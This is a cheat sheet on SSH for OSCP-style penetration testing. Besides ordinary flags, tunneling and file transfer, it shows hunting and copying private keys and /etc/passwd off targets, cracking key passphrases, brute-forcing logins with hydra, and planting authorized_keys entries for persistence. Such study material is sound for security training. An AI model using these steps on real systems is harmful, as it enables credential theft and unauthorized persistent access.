SSH — Complete Reference
Ctrl+F:
ssh -i·id_rsa·IdentitiesOnly·authorized_keys·chmod 600· errors → SSH Errors
Troubleshooting: SSH Errors — Too many authentication failures · id_rsa permissions too open
What is SSH?
Secure Shell (SSH) is an encrypted network protocol for remote login, command execution, file transfer, and tunneling. It runs on port 22/TCP by default and is the primary remote access method for Linux/Unix systems — and increasingly Windows.
OSCP use: SSH is both a target to enumerate/attack and a tool you’ll use constantly for tunneling, pivoting, and transferring files.
Syntax
ssh [options] [user@]host [command]📌 1) All Common Flags
| Flag | Description |
|---|---|
-p <port> | Connect on a non-standard port |
-i <keyfile> | Use a specific private key file for auth |
-l <user> | Login username (alternative to user@host) |
-v | Verbose (debug) — use -vv or -vvv for more |
-q | Quiet mode — suppress warnings |
-o <option> | Pass an SSH config option inline (see table below) |
-N | Don’t execute a remote command (use with tunnels) |
-f | Background the SSH process after auth |
-T | Disable pseudo-terminal allocation |
-t | Force pseudo-terminal allocation (even inside scripts) |
-A | Forward SSH agent to remote host |
-X | Enable X11 forwarding (GUI apps over SSH) |
-Y | Enable trusted X11 forwarding |
-C | Enable compression |
-4 | Force IPv4 |
-6 | Force IPv6 |
-L <spec> | Local port forward |
-R <spec> | Remote port forward |
-D <port> | Dynamic application-level port forwarding — local SOCKS proxy on <port> (see below) |
-J <jump> | Jump host (ProxyJump) |
-W <host:port> | Forward stdin/stdout to a remote host:port |
-E <logfile> | Append debug log to a file |
-G | Print the SSH config that would be used and exit |
-n | Redirect stdin from /dev/null (use with -f) |
-c <cipher> | Select cipher (e.g. aes256-gcm@openssh.com) |
-m <mac> | Select MAC algorithm |
-e <char> | Set escape character (default: ~) |
-b <addr> | Bind to a specific local address |
📌 2) Authentication Methods
Method 1 — Password Authentication
ssh user@10.10.10.10
# Enter password when prompted
ssh -p 2222 user@10.10.10.10
# Non-standard portMethod 2 — Private Key Authentication (id_rsa)
The most common key-based auth. You hold the private key; the target has your matching public key in ~/.ssh/authorized_keys.
┌──────────────── KALI (attacker) ────────────────┐
│ id_rsa ← PRIVATE — never share │
│ id_rsa.pub ← public half │
└─────────────────────────────────────────────────┘
ssh -i id_rsa user@target
↓
┌──────────────── TARGET ───────────────────────────┐
│ ~/.ssh/authorized_keys ← PUBLIC keys allowed │
│ (one line per key: ssh-rsa AAAA... comment) │
└─────────────────────────────────────────────────┘
# Use a specific private key
ssh -i /home/kali/.ssh/id_rsa user@10.10.10.10
ssh -i id_rsa user@10.10.10.10
# Permissions must be strict — SSH refuses loose permissions
chmod 600 id_rsa
chmod 700 ~/.ssh
ssh -i id_rsa user@10.10.10.10Key file permissions (required)
| File / directory | Permission | Why |
|---|---|---|
id_rsa (private key) | 600 | Only owner can read |
id_ed25519 (private) | 600 | Same |
id_rsa.pub (public key) | 644 | Others can read |
~/.ssh/ directory | 700 | Only owner can access |
~/.ssh/authorized_keys | 600 | Only owner can read/write |
~/.ssh/known_hosts | 644 | Optional |
chmod 600 id_rsa
chmod 644 id_rsa.pub
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keysError if permissions wrong: Permissions 0644 for 'id_rsa' are too open → chmod 600 id_rsa
→ Full fix: SSH Errors > id_rsa — Permissions are too open
Found a private key on a target?
# On target — hunt keys
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null
find /home -name "id_*" 2>/dev/null
ls -la ~/.ssh/
# Download to Kali
scp user@TARGET:/home/user/.ssh/id_rsa ./loot/id_rsa
# or paste/cat contents into a local file
# On Kali — fix perms, try users from /etc/passwd or known accounts
chmod 600 id_rsa
ssh -i id_rsa root@TARGET
ssh -i id_rsa user@TARGET
ssh -i id_rsa -o StrictHostKeyChecking=no user@TARGET
# Passphrase protected? Crack first (Method 5 below)See Credential Discovery · crack passphrase → John / Hashcat -m 22921
Method 3 — SSH Key Pair Generation
# Generate RSA key pair (most compatible)
ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa
# Generate Ed25519 key pair (modern, smaller, faster)
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519
# Generate with a comment
ssh-keygen -t rsa -b 4096 -C "kali@oscp" -f ~/.ssh/id_rsa
# Generate without passphrase (non-interactive — useful in scripts)
ssh-keygen -t rsa -b 4096 -N "" -f /tmp/newkey| Flag | Description |
|---|---|
-t <type> | Key type: rsa, ed25519, ecdsa, dsa |
-b <bits> | Key size in bits (4096 for RSA, 256 for ed25519) |
-f <file> | Output file path |
-C <comment> | Comment embedded in public key |
-N <passphrase> | Passphrase ("" for none) |
-p | Change passphrase of an existing key |
-P <old> | Old passphrase |
-y | Read private key, output public key |
Method 4 — authorized_keys (add your key for access / persistence)
authorized_keys lives at ~/.ssh/authorized_keys on the target. Each line is one public key allowed to log in as that user.
# On Kali — show your public key (safe to share)
cat ~/.ssh/id_rsa.pub
# ssh-rsa AAAA... kali@oscp
# On target — add key (need write access to user's home)
mkdir -p ~/.ssh
chmod 700 ~/.ssh
echo "ssh-rsa AAAA...your_pubkey..." >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
# Or one-liner from attacker if you have shell as that user
mkdir -p /home/mario/.ssh && chmod 700 /home/mario/.ssh
echo "ssh-rsa AAAA..." >> /home/mario/.ssh/authorized_keys
chmod 600 /home/mario/.ssh/authorized_keys
# Connect passwordlessly from Kali
ssh -i ~/.ssh/id_rsa mario@10.10.10.10Check who can SSH in (post-exploit):
cat ~/.ssh/authorized_keys
cat /root/.ssh/authorized_keys
cat /home/*/.ssh/authorized_keys 2>/dev/nullPersistence: append your pubkey to authorized_keys for the user you control (or root if writable).
Method 5 — Cracking a Passphrase-Protected Key
If you find an id_rsa that requires a passphrase:
# Step 1: Convert to John format
ssh2john id_rsa > id_rsa.hash
# Step 2: Crack with John
john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
# Step 3: Crack with Hashcat (mode 22921 — OpenSSH private key)
hashcat -m 22921 id_rsa.hash /usr/share/wordlists/rockyou.txt
# Step 4: Connect with recovered passphrase
ssh -i id_rsa user@10.10.10.10
# Enter the cracked passphrase when promptedMethod 6 — Kerberos / GSSAPI Authentication
Used in AD environments where SSH is Kerberos-integrated:
ssh -o GSSAPIAuthentication=yes user@host.domain.local📌 3) SSH Config Options (-o)
Pass SSH config values inline without editing ~/.ssh/config:
# Ignore host key verification (useful on CTFs — never in prod)
ssh -o StrictHostKeyChecking=no user@10.10.10.10
# Don't save host key to known_hosts
ssh -o UserKnownHostsFile=/dev/null user@10.10.10.10
# Both combined (fastest / no prompts)
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null user@10.10.10.10
# Force password auth only (skip key attempts)
ssh -o PreferredAuthentications=password user@10.10.10.10
# Force key auth only
ssh -o PreferredAuthentications=publickey -i id_rsa user@10.10.10.10Common -o options
| Option | Description |
|---|---|
StrictHostKeyChecking=no | Skip host key verification prompt |
UserKnownHostsFile=/dev/null | Don’t read/write known_hosts |
PreferredAuthentications=<list> | Auth order: publickey, password, keyboard-interactive |
PasswordAuthentication=yes/no | Allow/deny password auth |
PubkeyAuthentication=yes/no | Allow/deny key auth |
ConnectTimeout=<sec> | Timeout in seconds |
BatchMode=yes | Fail instead of prompting (scripting) |
ProxyJump=<host> | Same as -J |
IdentityFile=<path> | Same as -i |
IdentitiesOnly=yes | Only use -i keys — fixes too many authentication failures → SSH Errors |
ServerAliveInterval=<sec> | Send keepalives every N seconds |
ServerAliveCountMax=<N> | Drop after N missed keepalives |
📌 4) SSH Config File (~/.ssh/config)
Define per-host shortcuts to avoid retyping flags every time:
# ~/.ssh/config
Host target
HostName 10.10.10.10
User admin
Port 2222
IdentityFile ~/.ssh/id_rsa
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
Host pivot
HostName 192.168.1.5
User root
ProxyJump target
# Now connect with just:
ssh target
ssh pivot # Goes through target automatically📌 5) Tunneling & Port Forwarding
Local Port Forward (-L)
Forward a local port on the attacker to a remote port via the SSH server. Used to reach services behind the target that aren’t directly accessible.
Attacker:LOCAL_PORT → SSH Server → REMOTE_HOST:REMOTE_PORT
# Access an internal web app (port 80) on 192.168.1.5 via the SSH pivot
ssh -L 8080:192.168.1.5:80 user@10.10.10.10 -N
# Now browse http://127.0.0.1:8080 on attacker to reach the internal service
# Access internal RDP (3389)
ssh -L 3389:172.16.0.10:3389 user@10.10.10.10 -N
xfreerdp3 /u:admin /p:password /v:127.0.0.1
# Access internal MySQL (3306)
ssh -L 3306:127.0.0.1:3306 user@10.10.10.10 -N # (run on my kali machine)
# Then: mysql -h 127.0.0.1 -u root -pFormat: -L [bind_address:]local_port:remote_host:remote_port
Remote Port Forward (-R)
Forward a remote port on the SSH server back to a local port on the attacker. Used to expose the attacker’s services to a machine that can’t reach the attacker directly.
SSH Server:REMOTE_PORT → Attacker:LOCAL_PORT
# Expose attacker's port 4444 on the target (useful for reverse shells)
ssh -R 4444:127.0.0.1:4444 user@10.10.10.10 -N
# Now set up listener on attacker port 4444
# Any connection to target:4444 routes back to attacker:4444
# Expose attacker's HTTP server on target's port 8080
ssh -R 8080:127.0.0.1:80 user@10.10.10.10 -NFormat: -R [bind_address:]remote_port:local_host:local_port
Dynamic SOCKS Proxy (-D)
Note:
-Dspecifies a local dynamic application-level port forwarding — opens a SOCKS proxy on your machine. Traffic sent through that proxy is forwarded through the SSH connection and exits from the remote host (pivot), so one tunnel can reach many internal IPs/ports.
Opens a local SOCKS5 proxy — traffic from tools using the proxy exits from the SSH server, reaching anything the pivot can reach (localhost services + internal subnets).
# Open SOCKS5 proxy on attacker's port 1080
ssh -D 1080 user@10.10.10.10 -N -f
# Configure proxychains to use it
# Edit /etc/proxychains4.conf → add: socks5 127.0.0.1 1080
# Now route any tool through the pivot
proxychains nmap -sT -Pn 172.16.0.0/24
proxychains gobuster dir -u http://172.16.0.5 -w wordlist.txt
proxychains python3 exploit.py
proxychains evil-winrm -i 172.16.0.10 -u admin -p passwordWhy -D beats many -L tunnels
Imagine the pivot host can reach:
127.0.0.1:80
127.0.0.1:5432
127.0.0.1:8080
10.10.20.15:445
10.10.20.20:3389With local forwarding you’d need one tunnel per service:
ssh -L 8080:127.0.0.1:80 user@PIVOT -N
ssh -L 5432:127.0.0.1:5432 user@PIVOT -N
ssh -L 3306:127.0.0.1:3306 user@PIVOT -N
ssh -L 3389:10.10.20.20:3389 user@PIVOT -N
# ... lots of tunnelsWith dynamic forwarding — one tunnel for everything (via proxychains / proxy-aware tools):
ssh -D 1080 user@PIVOT -N -f
# proxychains reaches ALL of the above (nmap -sT, curl, evil-winrm, etc.)→ Full SOCKS workflow: SSH Tunneling > 📌 3) Dynamic Port Forwarding — SOCKS Proxy (-D) · Port Forwarding
Browser through SOCKS: FoxyProxy / proxychains firefox — or use -L for a single web port if you only need one site.
Port 1080/4444 already in use? → Port in Use - kill listener
Jump Host (-J)
Connect to a target through an intermediate host in one command — no need to SSH in twice:
# SSH through pivot (10.10.10.10) to reach internal host (172.16.0.5)
ssh -J user@10.10.10.10 admin@172.16.0.5
# Multiple hops
ssh -J user@10.10.10.10,user@172.16.0.5 admin@10.0.0.1
# With keys
ssh -J user@10.10.10.10 -i internal_key.rsa admin@172.16.0.5Background Tunnels (-f -N)
# Start tunnel in background (returns terminal immediately)
ssh -f -N -L 8080:192.168.1.5:80 user@10.10.10.10
# Kill a backgrounded tunnel
ps aux | grep ssh
kill <PID>
# Or use -fN combined
ssh -fN -D 1080 user@10.10.10.10📌 6) File Transfer
SCP — Secure Copy
# Upload: attacker → target
scp /home/kali/shell.elf user@10.10.10.10:/tmp/shell.elf
# Download: target → attacker
scp user@10.10.10.10:/etc/passwd /home/kali/loot/passwd
# Recursive directory upload
scp -r /home/kali/tools/ user@10.10.10.10:/tmp/tools/
# Recursive download
scp -r user@10.10.10.10:/var/www/html/ /home/kali/loot/
# Non-standard port
scp -P 2222 file.txt user@10.10.10.10:/tmp/
# With specific key
scp -i id_rsa file.txt user@10.10.10.10:/tmp/
# Suppress host key check
scp -o StrictHostKeyChecking=no file.txt user@10.10.10.10:/tmp/SFTP — Interactive File Transfer
sftp user@10.10.10.10
sftp -i id_rsa user@10.10.10.10
sftp -P 2222 user@10.10.10.10
# Inside sftp session:
sftp> ls # List remote
sftp> lls # List local
sftp> pwd # Remote directory
sftp> lpwd # Local directory
sftp> cd /var/www # Change remote dir
sftp> lcd /home/kali/loot # Change local dir
sftp> get remote_file.txt # Download
sftp> get -r remote_dir/ # Recursive download
sftp> put local_file.txt # Upload
sftp> put -r local_dir/ # Recursive upload
sftp> mkdir /tmp/newdir # Create remote dir
sftp> rm remote_file # Delete remote file
sftp> bye # Exit📌 7) Enumeration & Reconnaisance
# Banner grabbing — check SSH version
nc -nv 10.10.10.10 22
ssh -v user@10.10.10.10 # SSH handshake shows server version
# Nmap SSH scripts
nmap -p 22 --script ssh-hostkey,ssh-auth-methods 10.10.10.10
nmap -p 22 --script ssh-brute 10.10.10.10 # Brute force (slow)
nmap -p 22 --script ssh2-enum-algos 10.10.10.10 # Supported algorithms
# Check accepted auth methods
ssh -o PreferredAuthentications=none user@10.10.10.10 2>&1 | grep "Authentications"
# ssh-audit — full security audit of SSH server
ssh-audit 10.10.10.10
ssh-audit -p 2222 -v 10.10.10.10→ Full reference: ssh-audit
📌 8) Brute Forcing SSH
# Hydra
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 10.10.10.10 ssh -t 4 -f
# Single user — password list
hydra -l root -P /usr/share/wordlists/rockyou.txt 10.10.10.10 ssh -t 4 -f
# Medusa
medusa -h 10.10.10.10 -U users.txt -P passwords.txt -M ssh -t 4
# Metasploit
# use auxiliary/scanner/ssh/ssh_loginNote: SSH brute-forcing is very slow (intentional rate limiting by the server). Use small, targeted wordlists. Check for default creds first.
📌 9) Common Post-Exploitation Actions
# Check what other hosts this machine knows about
cat ~/.ssh/known_hosts
cat ~/.ssh/config
# Look for private keys on the target
find / -name "id_rsa" 2>/dev/null
find / -name "*.pem" 2>/dev/null
find / -name "*.key" 2>/dev/null
find /home -name "id_*" 2>/dev/null
find /root -name "id_*" 2>/dev/null
ls -la ~/.ssh/
# Read authorized_keys — who can log in?
cat ~/.ssh/authorized_keys
cat /root/.ssh/authorized_keys
# Add your key for persistence
echo "ssh-rsa AAAA...your_pubkey..." >> ~/.ssh/authorized_keys
# Check SSH daemon config
cat /etc/ssh/sshd_config | grep -v "^#" | grep -v "^$"
# Look for: PermitRootLogin, PasswordAuthentication, AuthorizedKeysFile, AllowUsers📌 10) Escape Sequences (Live Session)
While connected in a terminal, SSH has escape sequences (prefix: ~):
| Sequence | Action |
|---|---|
~. | Disconnect (terminate session) |
~C | Open command-line (add tunnels without reconnecting) |
~& | Background the session |
~? | List all escape sequences |
~# | List forwarded connections |
~~ | Send literal ~ |
# Add a new tunnel to an existing live session (no reconnect needed)
# Press: Enter → ~ → C
# Then type: -L 8080:192.168.1.5:80
# Press Enter📌 Quick OSCP Cheat Sheet (Copy/Paste)
# Connect — password
ssh user@TARGET
# Connect — private key
chmod 600 id_rsa && ssh -i id_rsa user@TARGET
ssh -i id_rsa -o IdentitiesOnly=yes root@TARGET # too many auth failures fix
# Connect — ignore host key (CTF)
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null user@TARGET
# Connect — non-standard port
ssh -p 2222 user@TARGET
# Crack key passphrase
ssh2john id_rsa > id_rsa.hash
john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
# Local port forward (reach internal service)
ssh -L 8080:INTERNAL_HOST:80 user@TARGET -N -f
# Dynamic SOCKS proxy (pivot through target)
ssh -D 1080 user@TARGET -N -f
# → proxychains <any_tool>
# Remote port forward (expose attacker to target's network)
ssh -R 4444:127.0.0.1:4444 user@TARGET -N
# Jump host (reach host behind pivot)
ssh -J user@PIVOT admin@INTERNAL_HOST
# Upload file
scp /home/kali/shell.elf user@TARGET:/tmp/
# Download file
scp user@TARGET:/etc/passwd /home/kali/loot/
# Add your pubkey for persistence
echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys
# Hunt for keys on a target
find / -name "id_rsa" 2>/dev/null